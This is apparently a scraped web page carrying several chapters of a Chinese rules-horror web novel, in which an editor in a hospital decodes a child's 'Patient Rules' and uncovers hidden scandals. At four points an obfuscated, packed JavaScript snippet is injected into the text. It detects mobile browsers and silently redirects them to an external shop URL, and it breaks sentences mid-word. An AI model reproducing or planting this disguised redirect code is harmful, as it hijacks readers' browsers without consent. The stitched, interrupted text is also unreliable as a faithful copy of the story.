;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885656|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 999,如果能睡过去是最安全的,但是,中途无论发生了什么,都绝对不要睁开眼睛。” 现在想想,所谓的《病人守则》或许也没什么神奇,可能就是安慰病人的义工培训手册呢? 因为里面很多规则似乎都是可以用正常逻辑解释的。 比如说这一条,为了避免眼睛遭受较强的X射线和舱内环境光的刺激,本来就该闭上眼睛。 有些患者可能对幽闭环境产生恐惧和焦虑,闭眼数数也是不错的调解手段,还能帮助保持身体稳定,提升成像质量。 还有其他条的内容,比如说…… 黑野编辑正准备一条条阐述,但突然发现此刻并没有听众。 哪怕闭上眼,眼前也没有那个熟悉的聒噪的一同经历过那个简陋到离谱、唯有《病人守则》内容还有点趣味的漫画世界的匣子的身形。 他突然感到有些意兴阑珊。 他闭着眼,在微有亮度的黑暗中听着CT机运作的轻微噪声。 这时,他重新听到了匣子断断续续的声音。 【……醒……快点出来……离开这里……】 是幻听吗?他记得刚刚吃过抑制幻听的粉色胶囊。 如果匣子不是幻觉呢? 那么药物就对匣子无效,也不会同步影响视觉。 可他自从吃过药之后,闭眼后就见不到匣子了,匣子大概率是被气到主动出走了,按它的脾气,要有很长一段时间都不会搭理他。 他也不该在此处听见匣子的声音。 他闭着眼,还记得《病人守则》的内容: “千万不要看舱体里面的样子……中途无论发生了什么,都绝对不要睁开眼睛。” 回荡在扫描舱中的声音隐隐约约,略有变形,像是从很遥远的地方传来,或是受到了很严重的干扰,他只能隐约辨认出一些字词。 【……漫画世界……不是真的……观测天空……危险……】 --- 鹰之助将做完检查的黑野编辑推回病房,离开了一会儿,再回来时,有些苦恼地问,“您最近身体还好吧? “有没有什么困扰?呃,我是说,您为什么突然想要做CT?” 黑野编辑知道鹰之助是去找过护士了。 助手问出了粉色胶囊究竟是什么药。 黑野编辑并不讳疾忌医,但事情有可能涉及一些超自然因素。 在弄清楚前,他不想太早拿这些事去给医护人员制造困扰。 他语气平静地说,“等CT结果出来后,我会去找医生谈谈的。” “好吧。”鹰之助重重地点头,“要是您需要帮助,我会一直陪在您身边。” 黑野编辑意识到得设法缓解助手的紧张情绪。他转开话题,“先前护士提到八濑广重事件,你知道是怎么回事吗?” 根据护士的语气,这应该是发生在这家医院的一起事件。 果然,遇到能让自己派上用场的事情,鹰之助立刻打起了精神。 “我现在就去问!” 再次回来的时候,鹰之助显得很失落。 八濑广重竟然是鹰之助过去做义工时期认识的护理工。 当时鹰之助跟着别人喊他阿重。 八濑广重上班时精神总是不太好,总是丢三落四的,鹰之助那会儿时常帮他和其他护理工分担一部分送药和值班工作。 在鹰之助离开两年后,医院里才爆出重大丑闻。 有男护理工因为时常忘记送药,害怕被责骂,将大量药物藏在了医院的储物柜里,耽误了许多患者的治疗。 而那个当事人就是八濑广重,因为这件事被开除了。 知道这件事情后,鹰之助情绪更糟了,明显是对这家曾经工作过的医院失去了所有好感和信任。 “我会留下来,”他握拳说道,“帮您监督接下来所有的药物配送和治疗流程!” “你明天还有黑野社的工作。” 黑野编辑毫不留情地拒绝了他。 “给我回去上班。” 26.夜晚的医院 寂静的深夜里,不知为何,黑野编辑突然醒来。 他还在病房里,躺在自己的床上。 周围静悄悄的。 他心里有一种莫名的预感。 房间里没有别人。 “如果发现病房里的别人消失了,可以尝试前往护士站。”——《病人守则》 黑野编辑之前已经将死皮赖脸要留下来陪床的鹰之助赶走了。 隔壁床的病人按理说应当还在,又有床帘隔着,看不清那边情况。 可是病房的窗不知何时被打开了,有风吹进来,鼓动起病床间的床帘。 黑野编辑一侧头,就从空隙里看见,那边的病床上是空的。 只有从窗外照进来的冰冷的光,静静躺在散乱的枕被上。 黑野编辑不动声色地推开被子,戴上眼镜,起身去关上了敞开的窗户。 窗外景物看起来一切正常。 静谧的庭院沐浴着星月的光辉。 他又回身看了眼,隔壁病床旁的物品被风吹得很乱,东倒西歪,但没有少什么。 床上的被子是乱的,证明晚上确实有人睡过。 床脚边没有人——不是病人半夜失坠滚落床下。 本来摆在床边的拖鞋也不在了,病人像是自行离开的。 因为想起“匣子”的吐槽,黑野编辑又特意去病房的厕所边,打算敲敲门看,但厕所门开着,里面的灯是黑的。 黑野编辑决定向护士们反映情况。 他先按了病房的呼唤铃,但是过了许久都没有人来。 这下就真的只好按照《病人守则》行事了。 鹰之助白天借来的轮椅还留在病床边。 黑野编辑迟疑了一下,在拐杖和轮椅中,选择了将两者都带上。 夜间不是锻炼身体的时候,轮椅比较方便灵活。若遇上什么特殊情况,则是拐杖抡起来更结实。经过最近的几次锻炼,他已经用得很顺手了。 黑野编辑坐上轮椅,将自己推出了病房。 他能看到走廊的尽头就是护士站,暗着灯。 “如果护士站的灯是红色的,请立刻回到病床上,用被子盖住脑袋,就能安全无忧。 “如果护士站的灯是绿色的,可以等护士出来给你喂水,喝完水后请护士带你回病房。 “如果没有看到护士站,请立刻回头,返回病房。” ——《病人守则》 就和他白日时观察到的那样,骨科住院部的护士站里并不存在《病人守则》中描述的什么红色或绿色的指示灯。 这反而让人有种仍处于现实怀抱中的安全感。 此刻护士站里什么灯都没亮,无人值守。 护士站旁边是医护的办公室,半开着门,亮着灯。 黑野编辑推着轮椅过去,探身看了看,值班的医生也不在,显示屏上亮着蓝幽幽的待机页面的光。 这一切都没什么奇怪的,深夜里人手不足,要是遇到什么应接不暇的大事故,骨科值班的医护可能都奔赴门诊帮忙或被派去其他科室会诊了。 同房的中年妇人本来就孤僻,起意要夜游也不会特意告知别人。 甚至有可能就是由于中年妇人病情发作,医护们临时将她转移去了其他科室,才都不在这里。 虽说如此,可一路走来都见不到人,很容易让人心底慢慢升起一种疑心。 这里真的还有其他人在么? 会不会医院中所有人都悄无声息地撤走了,独留下自己? 黑野编辑回头看了看住院部的走廊,两侧都是病房。 此刻已经是熄灯时间了,每个房间都黑得很深邃,看不出病人们是否还在沉睡。 至少,他没有听见梦呓、打鼾、呻吟之类的声音。 电力是正常的,走廊上的日光灯仍亮着,深夜里各种机器运转的嗡鸣声也不停歇,好似从亘古就开始运转,直到如今,成为人一辈子里都从耳边挥之不去的杂音。 除此之外,这里安静得就像是昨晚曾探索过的那个漫画世界。 唯有轮椅上被人使用过的磨痕,冰冷日光灯随着他的行动而不断变换的阴影、护士台上摊开的登记簿里细密的字迹,这些只有真实世界才会事无巨细呈现出来的不必要细节,让黑野编辑暂且认为自己仍在现实世界里。 他闭上眼,匣子依旧没有出现。 这似乎是那个漫画世界只是场无关紧要的梦境的另一个证据。 一切事情都尚在合理范围之内。 ——唯有CT机中的杂音无法解释。 黑野编辑静静地想。 深夜的寂静,很适合让人慢慢咀嚼回味在忙碌的白日中暂时忽略放过的问题。 这时,电梯抵达的铃声响起,打断了他的沉思。 黑野编辑侧头看了看,电梯门在这个楼层停下。 门开了,里面是亮晃晃的灯光,却没有人。 他等了一会儿,电梯门又重新关上,如同背景音般的轰隆隆运作声音再度响起。 电梯正在上行。 证明了在这个时间点,不是只有他仍清醒着,这家医院里是还有人在活动的。 过了一会儿,电梯再次下来,可能是有什么电子故障,又在这个楼层叮的一声打开了门,露出了亮晃晃的无人电梯间。 黑野编辑已经完全从睡意中清醒了,又因为心中有些疑虑,不打算不明不白地回病房睡觉,决定四处走走。 电梯门仿佛邀请般敞开着。 “在医院中独自探索时,请注意不要在走廊上发出太大的声音。 “不要进入黑色的房间。 “不要独自进入有光线的空荡荡的房间。” ——《病人守则》 就黑野编辑目前在深夜中所见,能对应上黑色房间这个描述的是病房,而能对应上有光线的空荡荡的房间就是电梯了。 这时候,黑野编辑已经想起来了,由于流行病疫情,很多医院加装了无接触的自动感应式电梯呼唤系统。 电梯几次在这个楼层停下,也没什么玄妙,未必是故障,可能就是自己的轮椅在电梯前面停留太久,误触了唤梯系统。 要是为这个大惊小怪的话,是会被……匣子嘲笑的。 黑野编辑怀疑自己的精神真的有少许问题了,少了幻听,竟然有点不习惯。 缺了匣子,他倒不至于害怕,在深夜的医院中独自夜游也算不上什么考验胆量的事情。 哪怕面对的是刀山火海呢?他也向来独来独往惯了的。 他更不需要什么不靠谱的助力。 只是最近身边热闹久了,他开始有点嫌弃安静了。 虽说放下了对电梯故障的怀疑,黑野编辑还是没有选择这台电梯。 他记得白日里鹰之助带他出门的路线,穿过走廊,尽头有台偏僻的电梯,去外面更加方便。 若每层楼的科室布局都一样的话,他乘坐眼前这台电梯,若中途停在其他楼层的话会见到其他护士台。如果遇上太有责任心的工作人员,被人质疑深夜外出的行为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891888|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而劝返就不好了。 不如穿过这层楼的无人走廊,使用尽头那台偏僻的电梯。 他推着轮椅掉头向走廊行去。 一阵时间的等待后,电梯门在他身后默默地关上了。 日光灯下的走廊还是静悄悄的,黑漆漆的病房也还是黑漆漆的。 往回走的路上没有什么不同。路过的时候,黑野编辑还特意看了眼自己的病房,一切正常,不存在《病人守则》中所说的“无法顺利返回病房”的情况。 走廊的尽头,有一个右拐可抵达的角落,里面藏着鹰之助曾带他来过的电梯,和一个小房间,再往里面就是步行用的楼梯间了。楼梯间上亮着绿色的安全出口标识。 引起黑野编辑注意的是,那个小房间的门是半开的,露出里面的灯光。 有整理物品的声音从里面传来。 这大概会是黑野编辑今晚见到的第一个活人。 因为是夜间,黑野编辑没有不礼貌地自行窥看,而是先扬声问,“有人在吗?” 小房间里传来哐的一声动静,像是有金属柜门被重重关上,又像是有人撞在了金属柜子上。 黑野编辑只得问,“里面没事吧?” 房间里传来慌乱的应答,“没事没事,我这就出来。” 听上去像是年轻男性的声音。 好一会儿,有人探头出来,表情紧张地看向黑野编辑,“有什么事情吗?” 那人看穿着像是护理工,有张既年轻又显现出苍老的面孔——因为患有较为严重的白化症,淡粉色的脆弱皮肤上早早有了皱纹,视力似乎也受到影响,眼神有点飘。 这人的面孔很容易给人留下印象,只要见过一次就很难忘记。 黑野编辑在骨科病房住了两次院,从来没有见过这个护理工。 黑野编辑冷静地诉说情况,“我是骨科4号病房的病人,刚刚半夜醒来,看见隔壁1号病床的病人不见了。我白天里听说她有些幻觉相关的症状,有些担心她深夜去了哪里,会不会出事,能请你帮忙告诉护士一声,找人来检查下情况吗?” “啊,我是护理工,不过我不负责那个病房。”那个年轻人连忙说,顿了一会,好像又觉得这样推卸责任不太好,“我去找值班的人说一声吧。” 他打开门,走了出来,见黑野编辑趁机往房间里看了一眼,赶紧又带上门,“这里是我们的休息室。外人不能进去。” “嗯。”黑野编辑点点头,推着轮椅退开半米,以此作为行动表示。 “我去叫人来,你先回病房吧。”那个年轻人这样说完,就脚步匆匆忙忙地向走廊另一头的护士站走过去了。 黑野编辑没有告诉他护士站暂时没有人,目送着对方的背影消失在拐角处。 他也没有告诉对方,他就在刚刚作出决定——彻底不打算回病房了。 他刚刚只看了一眼那个休息室的内部情况。 休息室大概是给值班的护理工们轮流使用的,室内摆着一排储物柜,每个柜子上都有着姓名铭牌。 照耀的日光灯下,那些铭牌上的字样都很模糊,唯有一个亮晃晃的名字格外显眼,被黑野编辑一扫而过的视线给捕捉到了。 这种突出表现细节的手法,终于让黑野编辑找到了一点身处漫画世界的感觉。 按照漫画世界的表达逻辑,那个被特意凸显的名字应当就是刚才那个年轻人的姓名。 可是,名字的主人没有任何理由仍留在这家医院。 那个名字是,八濑广重。 27.高中生义工 “喂,你,不要随便乱碰电线啊!” 伴随着突然出现的鹰之助的声音,有人从后拉住了黑野编辑的胳膊。 黑野编辑心想,《病人守则》中所谓不能碰触的“有尾巴的物体”,果然是指的电线和电器。 他放开了公共活动区域的微波炉电线,回过头去,看清眼前的人影,稍稍有些意外。 是鹰之助。 但又不是他认识的那个鹰之助。 是面貌更加青涩稚嫩,大概只有高中生模样的鹰之助。他穿着宽宽大大的红色T恤,顶着一头极其显眼的金黄色头发。 高中生鹰之助低下头来,认认真真地端详着黑野编辑的脸,许久后说,“你…… “……的眼镜好凶啊,”他恍然大悟,“像我的数学老师。” 声音倒是和现在的鹰之助一模一样。 黑野编辑心想,他都不知道鹰之助这么喜欢在见面时品评别人的外貌。 他很快从意外中缓过神来,既然是自己用刻意违反《病人守则》的行为召唤来“鹰之助”,那么召唤出来的是这个“鹰之助”,也有几分道理。 黑野编辑基本上可以确定,自己目前正身处于一个按照《病人守则》漫画世界观发展、但景物无限接近于真实的世界里。 只是,他想不出业内有哪位漫画家,能绘制出如此细腻真实的画风。 眼前这位“鹰之助”的形象也极其真实,整体打扮和昨晚在漫画世界中的形象接近,好在没有再次遭受那种扭曲画风的荼毒,看起来顺眼多了。 不再需要黑野编辑努力辨认,关于“鹰之助”的各种细节信息就直白地呈现出来。 从其外貌年龄来判断,鹰之助从事义工的生涯比他想象得还要久远。 《病人守则》漫画世界的时间线果然是在好几年前,就如同黑野编辑早先的判断,至少是在八濑广重的丑闻事件曝光之前。 黑野编辑认为,自己身为编辑,而不是老师,不该对高中生染发有什么意见。作为社会人士,倒是对高中生做义工有几分赞赏,只希望不要是逃学来做就好。 他还没见过鹰之助入黑野社前提交的那份简历呢,有正常地附上成绩单吗? “鹰之助”大概是被数学老师般的社会人士盯得有些不自在,站直身体。 他挠挠被黑野编辑盯着的那头金发,说,“你是要使用微波炉吗?要加热什么?需要我帮忙吗?” 他看了眼黑野编辑的轮椅,在四周没找到便当之类的东西,于是将疑惑明明白白地写在脸上。 “不,我只是看到插头松动了,帮忙插回去而已。”黑野编辑面不改色地说。 没用敬语,理所当然。这不是助手鹰之助。 也没有询问昨晚的后续经历,所以,这也不是昨晚的“鹰之助”。 他想起昨晚那个“鹰之助”最后代替自己摔下天台了,看来这个世界没有给其安排后续,更像是刷新出一个没有相关记忆的新角色。 这是第三次和他初见的鹰之助。 “鹰之助”看上去像是接受了这个说辞,“哦,这样啊,那你……” 黑野编辑说,“我想要喝杯水。” “鹰之助”立刻放下怀疑,转为行动,“我来帮你!”他行动利落地走去饮水机边,拿了纸杯,开始熟练地兑温水。 黑野编辑认真观察着他的举动,“可以给我一点冷水吗?” “鹰之助”有点犹豫地提醒,“晚上喝冰水对身体不好哦。” “我只喝一点。” “好吧。” “鹰之助”将水杯端了过来。黑野编辑仰头接过杯子,感觉“鹰之助”实在是太高了。 虽说高中生“鹰之助”的形象不再有画风上的比例失调,但或许是自己坐在轮椅上的缘故,感觉到对方的身高压迫感变本加厉,和昨晚看到的巨人形象竟隐隐有些接近了。 他也是这时才意识到,白天助手鹰之助来照顾他时,会特意俯身说话,甚至是在他面前蹲下来平视他。 这大概是樱岛年轻人在职场上拘于礼节的缘故。 黑野编辑慢慢喝完杯底那些冷水,感觉到熬夜后的精神也振作了些,他问,“你听说过《病人守则》吗?” “啊,是最近在病人们中流传的神神秘秘的那个吗?” “鹰之助”对这个话题很感兴趣,“我听说过!但是不知道内容。” 从白日里在天台上的表现来看,现实里的助手编辑鹰之助并不了解所谓《病人守则》。 昨晚漫画世界中的“鹰之助”是知道的,甚至还持有一份,很骄傲地四处宣传。 而眼前这名新的“鹰之助”,似乎还未接触到《病人守则》,但显然生活在与昨夜的同一世界观中。 “并不神秘。”黑野编辑摇摇头。 《病人守则》的世界观不是漫画。 因为没有人能画出如此精细逼真的世界。 这个小世界的文化载体,用更准确的词语来描述的话,应该是规则怪谈。 这个世界的本质是以文字为主要架构的。 为了给世界赋予具体的形象,创作者可能画了一些简单的配图,也就是昨晚那个画风糟糕的世界涂鸦。 但涂鸦只是表象。若继续往下探究,突破涂鸦的表达限制,深入世界的最深处,就会来到这里——创作者于潜意识中描仿出来的,真实世界的镜像。 黑野编辑看看手中的水杯。 “所谓的《病人守则》最早是在儿科流传起来的吗?” “鹰之助”回忆了一下,“好像是。” “那就对了。”黑野编辑说,“《病人守则》里描绘的那些内容,是孩子眼中所见的深夜的医院景象。” 他抬头看看“鹰之助”的身高阴影。 只有与他坐轮椅时身高相仿的对象,才会毫不犹豫地将“鹰之助”描绘为身高宏伟的巨人吧? 不过,他愿意相信,那种画风也同样寄托着那位幼小的创作者对“鹰之助”的信赖之情。 “能带我在这里四处走走吗?” “鹰之助”竟然对病人提出的要求有点不满意,“现在很晚了,该好好休息才对……不过,”他想了想,无奈地答应,“好吧。” 黑野编辑猜测,“鹰之助”大概是把自己当成了有心事需要开解的病人,义工培训的作用再次生效。 ——高中生义工的责任心可比八濑广重强多了。 他也正好需要“鹰之助”的帮助。 他们接下来的行动与前一天晚上在漫画世界中的路线差不多,不同的是,讲解《病人守则》的人变成了黑野编辑。 “鹰之助”显然对病人们间流传的秘密很好奇,不断追问其中细节。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900106|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 黑野编辑一边复述,一边指点解释,拆解分析这些规则可能的由来。 他可不想将鹰之助教成只会照章办事、不懂变通的家伙。 “饮水机的红色开关是开水键,有童锁,孩子们肯定被提醒过不能自行触碰,所以会认为‘只有蓝色的开关是安全的’,又因为蓝色开关只能出冰水,饮用后当然会‘头脑清醒’,又‘不能多喝’。” 他顺手将纸杯丢进路过的垃圾桶里,继续说着。 “在走廊上发出太大的声音,会被医护劝阻,或是被附近病房里的病人骂;有尾巴的物体是指电器,也是孩子们被提醒过不能乱碰的事物;黑色的房间是别人的病房,当然不能进去打扰; “有光线的空荡荡的房间则是电梯,没有外人陪同的话,孩童不会按电梯,可能还会误闯其他楼层,迷路得更彻底,所以不能‘独自进入’。 “至于‘画着绿色小人的牌子’,毫无疑问描述的是安全出口的指示牌。跟着指示牌一路走下去的话,会到达户外。对孩童还说,夜间的户外是比明亮的室内更令人害怕的。 “至于‘月光下的森林’,大概是指中庭的小花园,又或者是指那里的滑滑梯和攀爬架。” 黑野编辑白天时就留意过,这家医院的中庭里植物茂盛,而且儿童游乐区的设施也恰巧是动物森林主题的。 关于CT室的规则,几乎和医院工作人员的建议提醒是一致的。 黑野编辑让“鹰之助”带他去再次夜游CT室,可惜这里在夜间没有开放。如果不是急诊的话,预约新的检查要等到明天早晨。 CT室的外观和白日里看上去没有区别。 “如果看到有人在储物柜前徘徊,千万不要靠近。”黑野编辑复述出这条,如果不是看到了八濑广重,他也绝对无法想到其中原义,“这家医院里有个疏于职守的护理工,会将忘记给病人送去的药物藏在储物柜中。” “鹰之助”瞪大了眼睛,大概没想到自己服务的医院里会有这种卑鄙的人存在,“是谁!?” “我猜,这本《病人守则》的作者,可能曾经在医院里夜游时,恰巧撞上了那个护理工在储物柜前整理转移药物。 “因为作者是孩童,或许被对方吓唬或者训斥了,”黑野编辑一边说着,一边也皱起了眉,“出于害怕,留下了这条记录。” “鹰之助”气得一拳砸在墙上。那声动静有点大,让黑野编辑也有点讶异。 高中生义工此刻的面相看起来有些凶。这是他与鹰之助的另一个不同。作为编辑助手的鹰之助,年纪更长,也要更沉得住气些。 “究竟是谁?” “鹰之助”怒气勃发地问,“我要去教训他。” 黑野编辑仰头去看笼罩在些许暴力气息中的高中生“鹰之助”,毫不怀疑体育生在这个年纪里是很会打架和教训人的。 又心想,难怪《病人守则》里要特地提醒“永远可以相信黄色头发的护理工”,因为高中生有时候过于情绪化的表现,的确容易让人短暂失去信任。 不过,既然作者在最后作出了那个多少带着点天真气息的“永远可以相信”的结论,应该也是经过了多次反复验证确认吧。 黑野编辑就当做是如此。 他不是小孩子,不会被高中生吓到。他拍了拍“鹰之助”的手背,说,“不要这么生气。” 28.三上天台 高中生义工愣了下,随后,刚刚积蓄的怒气就像气球被戳破般,一下子消散了。 又听到轮椅上的病人说,“这是公共事务,不要用私人意气的方式去处理。 “如果明天我还留在这里,我会去向医院管理方揭发这件事。” 从来没有人教他用这种方法去做事。但高中生义工一听就觉得,对方说得很对。 他暗暗想,可能是因为这位病人的气势和语言风格实在太像数学老师了吧,虽然有些地方听不懂,但莫名令人信服。 之后高中生义工才提起了警惕,“如果明天我还留在这里”是什么意思? 他打算去哪?病人还有深夜离院的计划不成? 高中生义工半点也不敢马虎,立刻问,“你住在哪个病房?还想去哪里走走?” 病人给出了十分坦诚的回答,“我住在骨科4号病房。因为对《病人守则》很感兴趣,想趁夜里看看守则中提过的地方。现在只剩下一个地方没有去了。 “能陪我去天台走走吗?”病人提出请求,“若没有什么特别的事情发生,我会在之后返回自己的病房。” 高中生义工有些犹豫地捏了捏轮椅的手横杠。 这套说辞听上去很合情理。他不太愿意拒绝眼前这位病人。如果病人想要寻短见呢?他应该能够轻易地阻止一位腿脚不便得靠轮椅行动的病人。 他低头看了看这位病人的发顶,和不算强壮的肩颈,很快做出了决定,“好吧,我陪你去天台看看。” 【……真的吗?】 【你不记得上次发生什么了吗?】 黑野编辑闭了闭眼,他的眼前什么都没有。 身后的“鹰之助”脚步轻快地继续前进,应该也没有发现他刚刚的异常。 与CT机里的经历不同,刚刚匣子的声音非常清晰,就像是在他耳边发声的。 黑野编辑看不到匣子的本体隐藏在哪,无法在不惊动“鹰之助”的条件下答话。匣子也只丢下了这一句简短的问话,不等回答就再度陷入沉寂。 这种体验,比先前任何一次有来有回的对话,都要更像是幻听的症状。 是因为到了深夜,胶囊的药效过去了吗? “鹰之助”已经推着轮椅来到了电梯口,电梯门叮的一声停在两人面前,再次袒露其空荡荡的内在。 “鹰之助”笑着重复刚刚听到的《病人守则》内容,“不能独自乘梯,两个人就可以了吧?” 他按下了顶层的按键。 “是的。”黑野编辑说,“今天晚上,最好还是尽量遵守《病人守则》的内容。” “鹰之助”好奇地问,“为了站在小患者的立场上,体验这种感受?”他的确很有做义工的才能。 “不,为了安全。”黑野编辑回答。 他可以溯源创作者的生活经验,还原那些规则在现实世界中的本来面貌。但是,这里极可能不是现实世界。 没有人能保证,孩童们的胡思乱想不会在这个镜像世界中成真。那些原本能用成年人的理性逻辑去看待的规则,在这里,或许会以一种孩童幻想中的超自然的姿态来实现。 “关于《病人守则》,其中还有一些我不太清楚的规则,或许需要你用你的经验来帮忙解答。”黑野编辑提出。 “首先,我想要确认,儿科病房的护士们有时候会使用粉红色的药盒来配送药物,是吗?” “鹰之助”看起来很荣幸能参与这个话题,“是的,草莓兔药盒就是粉红色的。 “有些孩子们会把特定的吉祥物当成自己的朋友,如果是朋友拿来的药,再苦也肯吃了” “果然如此。” 黑野编辑在白天时就想到了这个。 “病人要乖乖吃药。每天早晨,护士会将送来的药物装在粉红色药盒里。 “如果是药盒是其他颜色,会发生坏事。 “将粉红色药盒摇晃三下再打开,吃完会获得好运。” ——《病人守则》 这就说得通了。小患者会特别注意拿对自己喜欢的吉祥物药盒,如果药盒被护士弄错成其他颜色,要么是在孩子的喜好上粗心,要么就根本是拿错药物了,这当然是坏事。 而且,孩子会对自己喜欢的专属药盒寄予特别的仪式和好运期许,这也是常见的事情。 他又问,“儿科的护士站里有彩色的灯吗?” “鹰之助”想了想,“护士站有吉祥物的小座灯,草莓兔是红色的,蜜瓜象是绿色的。但灯座只有一个,不用的那个会被拿去轮流充电。” 所以这就是护士台灯光颜色变化的秘密。 不同的座灯可能对应着不同护士的喜好。孩子也会有喜欢和讨厌的护士,遇到喜欢的护士会想要留下来接受照顾,遇到态度冷淡或讨厌的,大概宁愿回病房自行忍耐孤独。 至于没看到护士站的情况,那大概就真是走错方向,得立刻回头了。 但是,为什么会出现孩子要忍耐孤独的情况呢?是个例?还是普遍性的? “我听说儿科的病房都是鼓励让家长留宿陪同的。”黑野编辑还记得白天里鹰之助告诉自己的信息。 “是啊,小孩子们肯定是离不开家人的。” “鹰之助”点点头说,“医护人员再热情亲切,也比不上他们最信赖的父母吧?” “你们夜间管理病人,会管理家长的外出情况吗?” 黑野编辑不认为大多数父母会将儿童独自留在病房,但世界上什么事情都可能发生,这种情况偶尔也是会有的。 “这个……大概没有吧。”“鹰之助”面露苦色,“他们非说有重要事情要暂时离开的话,我们也顶多是劝导,不能强行限制健康成年人的行动自由啊。” 也就是说,的确会出现“病房里的别人消失了”的情况。 “你见过这样的事情。”黑野编辑从“鹰之助”的神情中得出肯定的答案,“《病人守则》的创作者,应该是认识你的。 “这个孩子有时候会为了寻找走开的父母而在晚上出来游荡,有时还会迷路,但一定曾见过你,至少从你这里得到过两次以上的帮助。” “鹰之助”显得有些不好意思,黑野编辑继续追问。 “他,或者她不高,可能不到你身高的一半。 “你知道这个孩子是谁吗?” “是小寿穗吧。” “鹰之助”犹豫着说出一个名字,“我也不确定啦。” 黑野编辑立刻问,“可以带我去找她吗?” 如果能直接见到创作者的话,那么去天台也不是什么要紧的事了。 但事情果然没有那么顺利。 “鹰之助”摇摇头,“她已经不在这家医院了。” 黑野编辑皱眉追问,“去哪了?” 他希望不要是那个最坏的消息。 “鹰之助”有些迷茫地说,“我也不知道。奇怪,好像想不起来了。” 电梯叮的一声到达了。 这一次,电梯似乎运行得特别久,仿佛是在有意等待他们完成这段谈话,又或是电梯带着他们上升得特别高。 从顶楼到天台还有一层楼梯,好在楼梯中间设有辅助坡道。坡有些陡,大概是为了方便搬运杂物而设计的,没有考虑轮椅的使用需求。 好在这种体力上的考验对鹰之助来说不算什么。 白天里鹰之助已经带着黑野编辑的轮椅爬过一回了。高中生义工做同样的活计也不怎么费劲。 在路过楼梯中间平台时,黑野编辑特意提醒了一声,“不要踩到那盆绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901803|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 植的影子。” 这也是尚未厘清的一条规则。 很难说清那盆绿植到底寄托了孩子怎样的想象,又或是有什么特殊的民俗禁忌。但为了安全,最好还是不要违反规则。 “鹰之助”轻轻松松地绕了过去。 就在只剩最后半层楼梯,眼看着天台的铁门近在咫尺的时候,黑野编辑再次听到了匣子的叹息,【你真的要去吗?那里很危险。】 闭眼也依旧找不到匣子的本体。 “说清楚。为什么危险?”黑野编辑的语气很冷淡。 “鹰之助”愣愣地答了一声,“啊?” 【我离开的时候弄清楚了一些事情。】匣子的声音听上去很阴郁,【久世寿穗就是死在天台上的。】 久世寿穗……黑野编辑立刻意识到,这就是《病人守则》理论上的创作者。 创作者已经去世了? 那么眼前这个世界为何仍旧存在? 不,想想自古以来流传至今的那些伟大作品吧,作品世界从来就不会因为作者的离世而消失。 但作者的死亡对这种小世界来说究竟意味着什么?会带来怎样复杂诡秘的变化? 眼前的迹象尚不足以推断。 匣子的评价是【危险】,有什么依据?是否可信? 黑野编辑此刻飞速分析着新得到的信息,一些杂乱的想法也掠过。 “鹰之助”并不知道久世寿穗的死亡。白日在天台上遇到的女孩子也姓久世。 匣子似乎愿意透露更多信息。 “她是怎么死的?”他继续提问。 “你究竟在说什么?” “鹰之助”不安起来,将黑野编辑的轮椅停在了天台门口,却不急于去开门,而是先弯腰去查看病人的状态。 【那是比八濑广重事件还要丑恶黑暗的,被这家医院全力以赴掩盖的丑闻。】 【前任院长罹患了不治之症。他能够从容地劝患者与病魔搏斗,自己却无法忍耐病痛的折磨,无法面对即将到来的死亡,他决定自杀,却又不肯孤独赴死。】 黑野编辑紧紧地拧起了眉,差不多猜到了后续的发展。 【他嫉妒孩子们鲜活与青春的生命,以组织天文观测活动为名,带着几个为他喜爱的住院的孩子们来到了天台顶,在最接近天国的地方,将孩子们一个个从天台上丢了下去。】 匣子用几乎咬牙切齿的语调,慢慢描述当时的情景。 【有些孩子不肯就范,拼命挣扎,就被他抓住往栏杆上重重地砸,鲜血直流,将栏杆都染成了红色。】 【……寿穗,就是其中一个。】 所以,这就是规则转变的原因。 “如果在天台顶看到了流星,能很快病愈出院。” “如果天台栏杆是红色的,请不要靠近,立刻转身逃离。” ——《病人守则》 这条规则是用作者的生命改写的。 从活着的期盼许愿,变成了死后的警告提醒。 